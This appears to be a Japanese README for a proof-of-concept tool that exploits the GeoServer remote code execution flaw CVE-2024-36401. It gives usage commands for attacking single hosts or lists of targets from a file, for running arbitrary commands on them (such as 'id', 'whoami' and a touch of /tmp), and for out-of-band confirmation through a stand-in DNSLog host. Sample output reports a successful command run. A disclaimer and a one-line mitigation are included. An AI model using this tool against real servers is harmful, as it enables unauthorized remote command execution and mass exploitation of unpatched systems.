
このスクリプトは、GeoServerのリモートコード実行脆弱性(CVE-2024-36401)に対して開発されたPoC(Proof of Concept)検出ツールです。この脆弱性により、攻撃者は特定のリクエストを構築することで、対象サーバー上で任意のコマンドを実行することが可能です。
⚠️ 免責事項: このツールはセキュリティ研究および正規に許可されたテストのみを目的としており、不正な目的で使用しないでください。利用者は法的責任を自ら負うものとします。
このスクリプトは、GeoServer のリモートコード実行脆弱性(CVE-2024-36401)向けに開発されたPoC(Proof of Concept)検出ツールです。この脆弱性により、攻撃者は特定のリクエストを構築することで、ターゲットサーバー上で任意のコマンドを実行できます。
実行環境に以下の依存関係がインストールされていることを確認してください:
requestslxml以下のコマンドで必要な依存関係をインストールできます:
pip install requests lxml
python poc.py -u http://target.com -d dnslog.example.com
または実行するコマンドを指定:
python poc.py -u http://target.com -c "touch /tmp/vulntest"
複数のターゲットURLを含むテキストファイルを準備します(1行に1つ):
python poc.py -uf targets.txt -d dnslog.example.com
またはコマンドを指定:
python poc.py -uf targets.txt -c "id"
詳細な使用方法: 詳細な使用方法ドキュメント
⚠️ 注意:
-dおよび-cパラメータは同時に使用できません。
[INFO] 3つの有効なTypenamesを取得しました。脆弱性の検出を開始します
[INFO] ターゲット: http://example.com
[INFO] 実行コマンド: whoami
[INFO] DNSLOGアドレス:
[INFO] typeName: topp:states -> whoami を試行中
[+] コマンドが正常に実行された可能性があります!ターゲット: http://example.com コマンド: whoami
-c パラメータを使用したコマンド実行をサポート。/geoserver/wfs インターフェースへのアクセス元を制限してください。このプロジェクトの改善にご協力いただける場合は、Issue または Pull Request を送信してください。
このプロジェクトは MIT ライセンス の下で提供されています。自由に修正、配布、商用利用が可能ですが、著作権表示を保持する必要があります。
| パラメータ | 説明 |
|---|
-u, --url | 単一のターゲットアドレスを指定 |
-uf, --url-file | 複数のターゲットURLを含むファイルのパスを指定 |
-d, --dnslog | DNSLog アドレスを指定 |
-c, --command | ターゲットシステム上で実行するコマンドを指定(例:whoami, id, curl など) |